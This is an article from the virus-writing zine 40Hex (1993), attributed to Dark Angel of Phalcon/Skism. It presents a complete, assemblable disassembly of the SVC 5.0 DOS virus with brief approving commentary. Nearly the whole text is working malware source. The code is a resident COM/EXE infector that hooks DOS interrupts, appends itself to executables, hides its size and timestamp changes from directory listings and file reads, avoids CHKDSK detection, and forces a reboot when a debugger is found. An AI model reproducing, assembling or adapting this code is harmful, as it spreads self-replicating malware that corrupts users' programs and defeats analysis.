40Hex Issue 11 Volume 3 Number 2 File 007 SVC 5.0 SVC 5.0 is a good example of a true stealth virus. Cheesy, primitive stealth-wanna-be viruses "disinfect" by rewriting the files on the disk. Not so with SVC 5.0 and all real stealth viruses, which alter only the memory image of the file, leaving the original intact. This has advantages, including: o Time savings o Fewer disk accesses o No additional disk writes are required General Notes: SVC 5.0 is a parasitic, resident COM and EXE infector. It does not have encryption, but this is offset by the true stealth capabilities of the virus. Although it hides the file length increase, the virus does not suffer from the dreaded CHKDSK crosslinking errors experienced by many early stealth viruses. However, the code to overcome this problem is kludgily implemented; the virus detects execution of programs with the "HK" and "DS" strings in the filename. Although this helps with CHKDSK, it won't help with other programs which work in CHKDSK's asinine fashion. -- Dark Angel Phalcon/Skism 1993 ------------------------------------------------------------------------------- .model tiny .code ; SVC 5-A ; Disassembly done by Dark Angel of Phalcon/Skism ; Assemble with Tasm /m SVC5-A org 0 start: call next next: pop si db 83h,0EEh,3 ; sub si,offset next mov word ptr cs:[si+offset storeAX],ax push es push si xor dx,dx mov ah,84h ; installation check int 21h pop si push si cmp dx,1990h jne installvirus cmp bh,byte ptr cs:[si+versionbyte] ja go_exitvirus jc installvirus push si push es xchg ah,al ; convert ax to virus xor ax,0FFFFh ; CS mov es,ax ; es->resident virus push cs pop ds xor di,di mov cx,begindata - start - 1; same version? cld repe cmpsb pop es pop si jz go_exitvirus ; yes, exit jmp reboot ; else reboot go_exitvirus: jmp exitvirus installvirus: push es xor ax,ax mov ds,ax les ax,dword ptr ds:21h*4 ; save old int 21h mov cs:[si+oldint21],ax ; handler mov word ptr cs:[si+oldint21+2],es les ax,dword ptr ds:8*4 ; save old int 8 handler mov cs:[si+oldint8],ax mov word ptr cs:[si+oldint8+2],es pop es mov cs:[si+carrierPSP],es ; save current PSP mov ah,49h ; Release memory @ PSP int 21h jc exitvirus ; exit on error mov ah,48h ; Find total memory size mov bx,0FFFFh int 21h sub bx,(viruslength+15)/16+1; shrink allocation for carrier jc exitvirus mov cx,es ; compute new memory stc ; block location adc cx,bx mov ah,4Ah ; Allocate memory for carrier int 21h mov bx,(viruslength+15)/16 stc sbb es:[2],bx ; fix high memory field in PSP mov es,cx mov ah,4Ah ; Allocate memory for virus int 21h mov ax,es ; Go to virus MCB dec ax mov ds,ax mov word ptr ds:[1],8 ; mark owner = DOS mov ax,cs:[si+carrierPSP] ; go back to carrier PSP dec ax ; go to its MCB mov ds,ax mov byte ptr ds:[0],'Z' ; mark it end of block push cs pop ds xor di,di ; copy virus to high memory mov cx,viruslength + 1 cld rep movsb xor ax,ax mov ds,ax cli ; and set up virus mov word ptr ds:21h*4,offset int21 mov word ptr ds:21h*4+2,es ; interrupt handlers mov word ptr ds:8*4,offset int8 mov word ptr ds:8*4+2,es exitvirus: sti push cs pop ds pop si push si mov ah,byte ptr cs:[si+offset encryptval1] mov dh,byte ptr cs:[si+offset encryptval2] add si,offset savebuffer call decrypt pop si pop es cld cmp cs:[si+offset savebuffer],'ZM' je returnEXE mov di,100h push cs pop ds push cs pop es push si add si,offset savebuffer movsb movsw pop si mov ax,100h push ax mov ax,word ptr cs:[si+offset storeAX] retn returnEXE: mov bx,es add bx,10h add bx,cs:[si+savebuffer+16h] mov word ptr cs:[si+jmpcs],bx mov bx,cs:[si+savebuffer+14h] mov word ptr cs:[si+jmpip],bx mov bx,es mov ds,bx add bx,10h add bx,cs:[si+savebuffer+0eh] cli mov ss,bx mov sp,cs:[si+savebuffer+10h] sti mov ax,word ptr cs:[si+offset storeAX] db 0EAh ; jmp far ptr jmpip dw 0 jmpcs dw 0 int21: pushf push ax push bx push cx push dx push si push di push ds push es mov word ptr cs:int21command,ax cmp word ptr cs:int21command,4B03h ; load/no PSP je _load_noexecute cmp word ptr cs:int21command,4B01h ; load/no execute je _load_noexecute cmp word ptr cs:int21command,4B00h ; load/execute je _load_execute cmp ah,3Dh ; handle open je _handleopen cmp ah,3Eh ; handle close je _handleclose cmp ah,40h ; handle write je _handlewrite cmp ah,4Ch ; terminate je _terminate jmp short exitint21 nop _terminate: jmp terminate _handlewrite: jmp handlewrite _load_noexecute: jmp load_noexecute _handleclose: jmp handleclose _handlecreate: jmp handlecreate _load_execute: jmp load_execute _handleopen: jmp handleopen _FCBfindfirstnext: jmp FCBfindfirstnext _ASCIIfindfirstnext: jmp ASCIIfindfirstnext _handlegoEOF: jmp handlegoEOF _handleopen2: jmp handleopen2 _handleread: jmp handleread _getsetfiletime: jmp getsetfiletime return: retn load_execute_exit: call restoreint24and23 jmp short exitint21 nop restoreint24and23: xor ax,ax mov ds,ax mov ax,cs:oldint24 mov ds:24h*4,ax mov ax,cs:oldint24+2 mov word ptr ds:24h*4+2,ax mov ax,cs:oldint23 mov ds:23h*4,ax mov ax,cs:oldint23+2 mov word ptr ds:23h*4+2,ax retn exitint21: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax cmp ah,3Ch ; handlecreate je _handlecreate cmp ah,83h ; installation check for je old_installation_check ; other versions of SVC cmp ah,84h ; installation check for je installation_check ; this version of SVC cmp ah,4Eh ; find first? je _ASCIIfindfirstnext cmp ah,4Fh ; find next? je _ASCIIfindfirstnext cmp ah,11h ; find first je _FCBfindfirstnext cmp ah,12h ; find next je _FCBfindfirstnext cmp ax,4202h ; go EOF je _handlegoEOF cmp ah,3Dh ; handle open je _handleopen2 cmp ah,3Fh ; handle read je _handleread cmp ah,57h ; get/set file time je _getsetfiletime popf ; chain to original int jmp dword ptr cs:oldint21 ; 21h handler callint21: cli pushf call dword ptr cs:oldint21 retn installation_check: popf mov bh,cs:versionbyte mov ax,cs xor ax,0FFFFh xchg ah,al common_installation_check_return: mov dx,1990h iret old_installation_check: popf jmp short common_installation_check_return popdsdx_return: pop dx pop ds jmp return load_execute: call check_chkdsk call infectdsdx jmp load_execute_exit infectdsdx: call setint24and23 jmp short infectdsdx_continue nop setint24and23: xor ax,ax mov es,ax les ax,dword ptr es:24h*4 mov cs:oldint24,ax mov cs:oldint24+2,es xor ax,ax mov es,ax les ax,dword ptr es:23h*4 mov cs:oldint23,ax mov cs:oldint23+2,es xor ax,ax mov es,ax mov word ptr es:24h*4,offset int24 mov word ptr es:24h*4+2,cs mov word ptr es:23h*4,offset int23 mov word ptr es:23h*4+2,cs retn infectdsdx_continue: push ds push dx cmp byte ptr cs:tickcount,3Ch ; don't infect too early jb popdsdx_return ; after previous one mov ax,4300h ; get file attributes call callint21 jc popdsdx_return mov cs:fileattr,cx and cl,0FEh ; turn off r/o bit mov ax,4301h ; and reset file attributes call callint21 jc popdsdx_return mov cx,cs:fileattr and cl,4 ; test cl,4 cmp cl,4 ; check system attribute je infecthandle_exit ; exit if set mov ax,3D02h ; open file read/write call callint21 jc infecthandle_exit mov bx,ax ; handle to bx push dx ; save file name pointer mov ax,5700h ; get file time/date call callint21 pop dx and cx,1Eh ; check if seconds = 60 cmp cx,1Eh ; (infection marker) jne infect_dsdx_checkmo ; continue if not so marked jmp short infecthandle_alreadyinfected nop infect_dsdx_checkmo: call check_command_com jnc infecthandle jmp short infecthandle_alreadyinfected nop check_command_com: cld mov si,dx check_command_com_loop: lodsw cmp ax,'MM' ; COMMAND.COM? je check_command_com_yes cmp ax,'mm' je check_command_com_yes cmp ax,'MB' ; IBMBIO/IBMDOS? je check_command_com_yes cmp ax,'mb' je check_command_com_yes cmp ah,0 je check_command_com_no dec si jmp short check_command_com_loop check_command_com_yes: stc retn check_command_com_no: clc retn infecthandle_exit: jmp popdsdx_return infecthandle: cmp bx,5 ; check if handle too jb infecthandle_exit ; small (predefined) call checkifinfected jnc infecthandle_alreadyinfected call infect_handle infecthandle_alreadyinfected: mov ah,3Eh ; Close file call callint21 pop dx pop ds jc infecthandle_exit2 mov ax,4301h ; restore file attributes mov cx,cs:fileattr call callint21 infecthandle_exit2: jmp return infect_handle_exit: jmp infect_handle_error infect_handle: mov ax,5700h ; get file time/date call callint21 mov cs:filetime,cx mov cs:filedate,dx xor cx,cx xor dx,dx mov ax,4200h ; go to start of file call callint21 push cs pop ds mov cx,18h ; read header mov dx,offset savebuffer mov ah,3Fh call callint21 jc infect_handle_exit push cs pop es push cs pop ds mov si,offset savebuffer ; copy to work buffer mov di,offset workbuffer mov cx,18h cld rep movsb mov ax,2C00h call callint21 mov byte ptr cs:encryptval2,dh mov byte ptr cs:encryptval1,dl mov ah,dl mov si,offset savebuffer call decrypt cmp cs:workbuffer,'ZM' ; check if EXE je infect_handle_EXE mov cs:workbuffer,0E9h ; encode the jmp xor cx,cx xor dx,dx mov ax,4202h ; get file size call callint21 cmp dx,0 jne infect_handle_exit cmp ax,viruslength jb infect_handle_exit cmp ax,0EDE1h ; check if too large jae infect_handle_exit sub ax,3 ; adjust size to jmp location mov word ptr cs:workbuffer+1,ax call writevirusandheader ; write virus to file jmp infect_handle_finish writevirusandheader: push cs pop ds xor dx,dx mov cx,viruslength mov ah,40h ; concatenate virus call callint21 jc writevirusandheader_exit cmp ax,viruslength jne writevirusandheader_exit xor cx,cx xor dx,dx mov ax,4200h ; go to start of file call callint21 jc writevirusandheader_exit mov dx,offset workbuffer ; write new header to file mov ah,40h mov cx,18h call callint21 retn writevirusandheader_exit: stc retn infect_handle_EXE: xor cx,cx ; go to end of file xor dx,dx mov ax,4202h call callint21 push dx ; save file size push ax mov si,ax xor ax,ax xchg ax,dx mov di,1000h mul di mov dx,ax mov ax,si mov si,dx xor dx,dx mov di,10h ; convert to paragraphs div di add ax,si xchg ax,dx sub dx,cs:workbuffer+8 ; subtract header size mov word ptr cs:workbuffer+16h,dx ; insert new initial mov word ptr cs:workbuffer+14h,ax ; CS:IP (end of file) pop ax pop dx add ax,viruslength ; calculate new image adc dx,0 ; size mod 512 and div 512 mov di,200h div di cmp dx,0 je infect_handle_EXE_nofixup add ax,1 ; pagelength fixup infect_handle_EXE_nofixup: mov cs:workbuffer+4,ax mov cs:workbuffer+2,dx mov ds,word ptr cs:workbuffer+16h ; insert new SS:SP mov word ptr cs:workbuffer+0Eh,ds mov ax,word ptr cs:workbuffer+14h add ax,17D7h mov word ptr cs:workbuffer+10h,ax call writevirusandheader ; write virus to file jmp short infect_handle_finish nop infect_handle_error: stc infect_handle_finish: mov ax,5701h ; restore file time/date mov cx,cs:filetime mov dx,cs:filedate jc infect_handle_noreset and cx,0FFFEh ; but set seconds to or cx,1Eh ; 60 mov byte ptr cs:tickcount,0 ; reset tickcount infect_handle_noreset: call callint21 retn int23: iret int24: mov al,3 iret load_noexecute_exit: jmp load_noexecute_closeexit load_noexecute: call setint24and23 push ds push dx mov ax,4300h ; get file attributes call callint21 jc load_noexecute_exit mov cs:fileattr,cx and cl,0FEh ; turn off r/o bit mov ax,4301h ; reset attributes call callint21 jc load_noexecute_exit mov ax,3D02h ; open file read/write call callint21 jc load_noexecute_exit mov bx,ax ; handle to bx call checkifinfected jc load_noexecute_exit jmp short load_noexecute_disinfect nop checkifinfected_exit: stc ; mark infected retn ; and exit checkifinfected: mov ax,5700h ; get file time/date call callint21 mov cs:filedate,dx mov cs:filetime,cx and cx,1Fh cmp cx,1Eh jne checkifinfected_exit xor cx,cx xor dx,dx mov ax,4202h ; go to end of file call callint21 jc checkifinfected_exit mov cs:filesizelo,ax ; save filesize mov cs:filesizehi,dx sub ax,endvirus - infection_marker sbb dx,0 mov cx,ax xchg cx,dx mov ax,4200h ; rewind to infection call callint21 ; marker jc checkifinfected_exit push cs pop ds mov ah,3Fh ; read file mov cx,3 mov dx,offset savebuffer call callint21 jc checkifinfected_exit push cs pop es mov si,offset savebuffer ; check for infection mov di,offset infection_marker mov cx,3 ; marker repne cmpsb jnz checkifinfected_exit clc ; mark not infected retn ; and exit load_noexecute_disinfect: call disinfect jmp load_noexecute_closeexit disinfect_exit: jmp disinfect_error disinfect: mov dx,cs:filesizelo mov cx,cs:filesizehi sub dx,75h ; go to savebuffer nop sbb cx,0 mov ax,4200h call callint21 jc disinfect_exit jmp short disinfect_file nop jmp load_noexecute_closeexit disinfect_file: push cs pop ds mov ah,3Fh ; Read carrier's mov cx,18h ; original header mov dx,offset savebuffer push cs pop ds call callint21 jc disinfect_exit mov dx,cs:filesizelo ; go to decryption mov cx,cs:filesizehi ; values sub dx,endvirus - encryptval1 nop sbb cx,0 mov ax,4200h call callint21 mov dx,offset encryptval1 mov ah,3Fh ; read decryption values mov cx,2 call callint21 mov si,offset savebuffer mov ah,byte ptr cs:encryptval1 mov dh,byte ptr cs:encryptval2 call decrypt ; decrypt old header xor cx,cx xor dx,dx mov ax,4200h call callint21 jc disinfect_error mov ah,40h ; Write old header to mov cx,18h ; file mov dx,offset savebuffer call callint21 jc disinfect_error mov dx,cs:filesizelo mov cx,cs:filesizehi sub dx,viruslength sbb cx,0 ; go to end of carrier mov ax,4200h ; file and call callint21 jc disinfect_error mov ah,40h ; truncate file xor cx,cx ; at current position call callint21 jc disinfect_error mov ax,5701h ; restore file time/date mov dx,cs:filedate mov cx,cs:filetime xor cx,1Fh call callint21 retn disinfect_error: stc ; mark error retn load_noexecute_closeexit: mov ah,3Eh ; Close file and call callint21 mov ax,4301h ; restore attributes mov cx,offset fileattr ; BUG!!! pop dx pop ds call callint21 call restoreint24and23 jmp exitint21 FCBfindfirstnext: call dword ptr cs:oldint21 ; prechain pushf pop cs:returnFlags cmp al,0FFh je FCBfindfirstnext_exit cmp cs:chkdskflag,0 jne FCBfindfirstnext_exit push ax push bx push cx push dx push es push ds mov ah,2Fh ; Get DTA call callint21 cmp word ptr es:[bx],0FFh ; extended FCB? jne FCBfindfirstnext_noextendedFCB add bx,8 ; convert if so FCBfindfirstnext_noextendedFCB: mov ax,es:[bx+16h] and ax,1Fh ; check if seconds = 60 cmp ax,1Eh jne FCBfindfirstnext_notinfected xor word ptr es:[bx+16h],1Fh; fix seconds field sub word ptr es:[bx+1Ch],viruslength sbb word ptr es:[bx+1Eh],0 ; shrink size FCBfindfirstnext_notinfected: pop ds pop es pop dx pop cx pop bx pop ax FCBfindfirstnext_exit: pop cs:storesIP pop cs:storesCS popf push cs:returnFlags push cs:storesCS push cs:storesIP iret ASCIIfindfirstnext: call dword ptr cs:oldint21 ; prechain pushf pop cs:returnFlags jc ASCIIfindfirstnext_exit cmp cs:chkdskflag,0 jne ASCIIfindfirstnext_exit push ax push bx push cx push dx push es push ds mov ah,2Fh ; Get DTA call callint21 mov ax,es:[bx+16h] ; get file time and ax,1Fh ; to check if file cmp ax,1Eh ; infected jne ASCIIfindfirstnext_notinfected xor word ptr es:[bx+16h],1Fh ; hide time change sub word ptr es:[bx+1Ah],viruslength; and file length sbb word ptr es:[bx+1Ch],0 ; change ASCIIfindfirstnext_notinfected: pop ds pop es pop dx pop cx pop bx pop ax ASCIIfindfirstnext_exit: pop cs:storesIP pop cs:storesCS popf push cs:returnFlags push cs:storesCS push cs:storesIP iret handleopen: call check_infectok jnc handleopen_continue jmp exitint21 check_infectok: cld mov si,dx lodsw cmp ah,':' jne check_infectok_nodrive cmp al,'a' ; make sure not floppy je check_infectok_exit cmp al,'A' je check_infectok_exit cmp al,'B' jb check_infectok_exit ; BUG cmp al,'b' je check_infectok_exit jmp short check_extension nop check_infectok_exit: jmp short check_extension_notok nop check_infectok_nodrive: mov ah,19h ; get default drive call callint21 cmp al,2 ; make sure not floppy jae check_extension jmp short check_extension_notok db 90h check_extension: cld mov si,dx check_extension_findextension: lodsb cmp al,'.' je check_extension_foundextension cmp al,0 jne check_extension_findextension jmp short check_extension_notok db 90h check_extension_foundextension: lodsw cmp ax,'OC' je check_extension_checkcom cmp ax,'oc' je check_extension_checkcom cmp ax,'XE' je check_extension_checkexe cmp ax,'xe' je check_extension_checkexe jmp short check_extension_notok db 90h check_extension_checkcom: lodsb cmp al,'M' je check_extension_ok cmp al,'m' je check_extension_ok jmp short check_extension_notok db 90h check_extension_checkexe: lodsb cmp al,'E' je check_extension_ok cmp al,'e' je check_extension_ok jmp short check_extension_notok db 90h check_extension_ok: clc retn check_extension_notok: stc retn handleopen_continue: call infectdsdx call restoreint24and23 jmp exitint21 handlecreate: mov word ptr cs:storess,ss ; preserve ss and sp mov word ptr cs:storesp,sp call dword ptr cs:oldint21 cli mov ss,word ptr cs:storess mov sp,word ptr cs:storesp sti pop cs:returnFlags ; save return flags pushf push ax push bx push cx push ds push es push si push di jc handlecreate_exit push dx push ax call check_extension pop ax pop dx jc handlecreate_exit push ax call check_command_com pop ax jc handlecreate_exit mov cs:handletoinfect,ax ; save handle to infect ; upon close handlecreate_exit: pop di pop si pop es pop ds pop cx pop bx pop ax jmp exit_replaceflags handleclose_exit: mov cs:filehand,0 jmp exitint21 handleclose: cmp bx,0 jne handleclose_continue jmp exitint21 handleclose_continue: cmp bx,cs:handletoinfect je handleclose_infect cmp bx,cs:filehand je handleclose_exit jmp exitint21 handleclose_infect: mov ah,45h ; Duplicate file handle call callint21 jc handleclose_infect_exit xchg ax,bx call setint24and23 call handleclose_infecthandle call restoreint24and23 handleclose_infect_exit: mov cs:handletoinfect,0 jmp exitint21 handleclose_infecthandle: push ds push dx jmp infecthandle int8: push ax push ds pushf cmp byte ptr cs:tickcount,0FFh ; don't "flip" tickcount je int8checkint1 inc cs:tickcount ; one mo tick int8checkint1: xor ax,ax mov ds,ax cmp word ptr ds:1*4,offset int1 ; int 1 changed? jne int8setint1 ; fix it if so mov ax,cs cmp word ptr ds:1*4+2,ax jne int8setint1 int8checkint3: cmp word ptr ds:3*4,offset int3 ; int 3 changed? jne int8setint3 ; fix it if so mov ax,cs cmp word ptr ds:3*4+2,ax jne int8setint3 exitint8: popf pop ds pop ax jmp dword ptr cs:oldint8 int8setint1: push es les ax,dword ptr ds:1*4 mov cs:oldint1,ax mov word ptr cs:oldint1+2,es mov word ptr ds:1*4,offset int1 mov word ptr ds:1*4+2,cs pop es jmp short int8checkint3 int8setint3: push es les ax,dword ptr ds:3*4 mov cs:oldint3,ax mov word ptr cs:oldint3+2,es mov word ptr ds:3*4,offset int3 mov word ptr ds:3*4+2,cs pop es jmp short exitint8 int3: ; reboot if debugger push bp ; is active push ax mov bp,sp add bp,6 mov bp,[bp] mov ax,cs cmp bp,ax pop ax pop bp jz reboot jmp dword ptr cs:oldint3 exitint1: iret int1: push bp ; this routine doesn't push ax ; do very much that's mov bp,sp ; meaningful add bp,6 mov bp,[bp] mov ax,cs cmp bp,ax pop ax pop bp jz exitint1 jmp dword ptr cs:oldint1 reboot: db 0EAh ; jmp F000:FFF0 db 0F0h, 0FFh, 0, 0F0h ; (reboot) decrypt: push bx push es call decrypt_next decrypt_next: pop bx mov byte ptr cs:[bx+16h],32h ; inc sp -> xor al,ah nop mov byte ptr cs:[bx+19h],2 ; add dh,ah -> add ah,dh nop push ds pop es mov di,si mov cx,18h cld decrypt_loop: lodsb db 0FFh, 0C4h ; inc sp stosb db 0, 0E6h ; add dh,ah loop decrypt_loop mov byte ptr cs:[bx+16h],0FFh ; change back to inc sp mov byte ptr cs:[bx+19h],0 ; and add dh,ah -- why? pop es pop bx retn handlegoEOF: popf cmp cs:filehand,bx ; currently working on this? jne handlegoEOFexit mov cs:tempstoreDX,dx ; save offset from EOF mov cs:tempstoreCX,cx xor cx,cx xor dx,dx call callint21 ; go to EOF sub ax,viruslength ; shrink to carrier size sbb dx,0 mov cx,ax xchg cx,dx add dx,cs:tempstoreDX ; add offset from carrier adc cx,cs:tempstoreCX ; EOF mov ax,4200h ; and do it handlegoEOFexit: jmp dword ptr cs:oldint21 handleopen2: call dword ptr cs:oldint21 pushf push ax push bx push cx push dx push di push si push ds push es jc handleopen2_exit cmp cs:filehand,0 jne handleopen2_exit push ax mov bx,ax call checkifinfected pop ax jc handleopen2_alreadyinfected mov cs:filehand,ax ; save file handle for mov bx,ax ; later use mov ax,4202h ; go to end of file xor cx,cx ; to find file size xor dx,dx call callint21 sub ax,viruslength ; calculate carrier sbb dx,0 ; size and store it mov cs:carrierEOFhi,dx mov cs:carrierEOFlo,ax handleopen2_alreadyinfected: xor cx,cx ; go to start of file xor dx,dx mov ax,4200h call callint21 handleopen2_exit: pop es pop ds pop si pop di pop dx pop cx pop bx pop ax exit_replaceflags: popf pop cs:storesIP pop cs:storesCS pop cs:returnFlags pushf push cs:storesCS push cs:storesIP iret handleread_exit: jmp handleread__exit handleread: call dword ptr cs:oldint21 ; prechain pushf push ax push cx push dx push ds push di push si push es jc handleread_exit ; exit on error cmp cs:filehand,0 je handleread_exit cmp cs:filehand,bx jne handleread_exit mov cs:bufferoff,dx mov cs:bufferseg,ds mov cs:bytesread,ax xor cx,cx ; get current file position xor dx,dx mov ax,4201h call callint21 jc handleread_exit sub ax,cs:bytesread ; find pre-read location sbb dx,0 ; to see if need to mov cs:origposhi,dx ; redirect it mov cs:origposlo,ax mov ax,4202h ; go to end of file xor cx,cx xor dx,dx call callint21 sub ax,viruslength sbb dx,0 mov cs:carrierEOFlo,ax mov cs:carrierEOFhi,dx cmp cs:origposhi,0 ; check if read was jne handleread_notinheader ; from the header cmp cs:origposlo,18h jb handleread_inheader handleread_notinheader: mov cx,cs:origposhi ; check if read extended mov dx,cs:origposlo ; into the virus add dx,cs:bytesread adc cx,0 cmp cx,cs:carrierEOFhi jb handleread_notinvirus ja handleread_invirus cmp dx,cs:carrierEOFlo ja handleread_invirus handleread_notinvirus: mov cx,cs:origposhi ; return to proper file mov dx,cs:origposlo ; position add dx,cs:bytesread adc cx,0 mov ax,4200h call callint21 handleread__exit: pop es pop si pop di pop ds pop dx pop cx pop ax jmp exit_replaceflags handleread_invirus: jmp handleread__invirus handleread_inheader: cmp cs:bytesread,0 je handleread_notinheader mov cx,cs:carrierEOFhi mov dx,cs:carrierEOFlo add dx,offset savebuffer adc cx,0 mov ax,4200h call callint21 jc handleread_notinheader push ds pop es push cs pop ds mov dx,offset savebuffer mov ah,3Fh ; Read header mov cx,18h call callint21 jc handleread_notinheader cmp ax,18h jne handleread_notinheader mov cx,cs:carrierEOFhi ; go to decryption values mov dx,cs:carrierEOFlo add dx,offset encryptval1 adc cx,0 mov ax,4200h call callint21 mov ah,3Fh ; read decryption values mov cx,2 mov dx,offset encryptval1 call callint21 jc handleread_inheader_error mov si,offset savebuffer mov ah,byte ptr cs:encryptval1 mov dh,byte ptr cs:encryptval2 call decrypt mov cx,cs:origposlo neg cx add cx,18h cmp cx,cs:bytesread jb handleread_inheader_noadjust mov cx,cs:bytesread handleread_inheader_noadjust: mov si,offset savebuffer ; copy previously read add si,cs:origposlo ; stuff if necessary mov di,cs:bufferoff mov es,cs:bufferseg cld cmp cx,0 je handleread_inheader_nomove rep movsb handleread_inheader_nomove: jmp handleread_notinheader handleread_inheader_error: jmp handleread_notinheader handleread__invirus: mov cx,cs:origposhi cmp cx,cs:carrierEOFhi ja handleread__invirus_gocarrierEOF jc handleread__invirus_readpart mov cx,cs:origposlo cmp cx,cs:carrierEOFlo jb handleread__invirus_readpart handleread__invirus_gocarrierEOF: mov cx,cs:origposhi mov dx,cs:origposlo mov ax,4200h call callint21 xor ax,ax handleread__invirus_exit: pop es pop si pop di pop ds pop dx pop cx pop cs:returnFlags jmp exit_replaceflags handleread__invirus_readpart: mov cx,cs:carrierEOFhi ; read portion of mov dx,cs:carrierEOFlo ; file up to virus mov ax,4200h call callint21 sub ax,cs:origposlo jmp short handleread__invirus_exit handlewrite: cmp bx,0 je handlewrite_exit cmp bx,cs:filehand jne handlewrite_exit mov ax,4201h ; get current position xor cx,cx ; in the file xor dx,dx call callint21 jc handlewrite_exit mov cs:curposlo,ax mov cs:curposhi,dx mov ax,4202h ; go to end of file xor cx,cx ; to find the filesize xor dx,dx call callint21 mov cs:filesizelo,ax mov cs:filesizehi,dx call disinfect ; disinfect the file jc handlewrite_done cmp cs:handletoinfect,0 jne handlewrite_done mov cs:handletoinfect,bx mov cs:filehand,0 handlewrite_done: mov dx,cs:curposlo ; return to original mov cx,cs:curposhi ; position mov ax,4200h call callint21 handlewrite_exit: jmp exitint21 terminate: mov cs:chkdskflag,0 jmp exitint21 check_chkdsk: mov si,dx cld check_chkdsk_loop1: lodsw cmp ah,0 je check_chkdsk_exit cmp ax,'HC' je check_chkdsk_loop2 cmp ax,'hc' je check_chkdsk_loop2 dec si jmp short check_chkdsk_loop1 check_chkdsk_exit: retn check_chkdsk_loop2: push si lodsw cmp ax,'DK' pop si jz check_chkdsk_found cmp ax,'dk' je check_chkdsk_found dec si jmp short check_chkdsk_loop1 check_chkdsk_found: mov cs:chkdskflag,1 retn getsetfiletime: cmp al,0 ; get file tiem? jne getsetfiletime_exit ; nope, exit call dword ptr cs:oldint21 ; prechain pushf and cx,1Eh ; if (seconds == 60) cmp cx,1Eh ; then xor with 60h jne getsetfiletime_nofix ; to hide the change xor cx,1Eh ; otherwise, don't getsetfiletime_nofix: jmp exit_replaceflags getsetfiletime_exit: popf jmp dword ptr cs:oldint21 db '(c) 1990 by SVC,Vers. ' infection_marker db '5.0 ',0 begindata: oldint1 dw 0, 0 oldint3 dw 0, 0 oldint8 dw 0, 0 oldint21 dw 0, 0 savebuffer dw 20CDh dw 11 dup (0) tickcount db 0 carrierPSP dw 0 origposlo dw 0 origposhi dw 0 carrierEOFlo dw 0 carrierEOFhi dw 0 bytesread dw 0 bufferoff dw 0 bufferseg dw 0 tempstoreCX dw 0 tempstoreDX dw 0 filehand dw 0 fileattr dw 0 filetime dw 0 filedate dw 0 chkdskflag dw 0 oldint24 dw 0, 0 oldint23 dw 0, 0 handletoinfect dw 0 storesIP dw 0 storesCS dw 0 returnFlags dw 0 filesizelo dw 0 filesizehi dw 0 curposlo dw 0 curposhi dw 0 workbuffer dw 12 dup (0) storeAX dw 0 db 0 storess dw 0 storesp dw 0 int21command dw 0 encryptval1 db 0 encryptval2 db 0 dw 1990h ; written 1990 versionbyte db 50h ; version 5.0 endvirus = $ viruslength = $ - start end start -------------------------------------------------------------------------------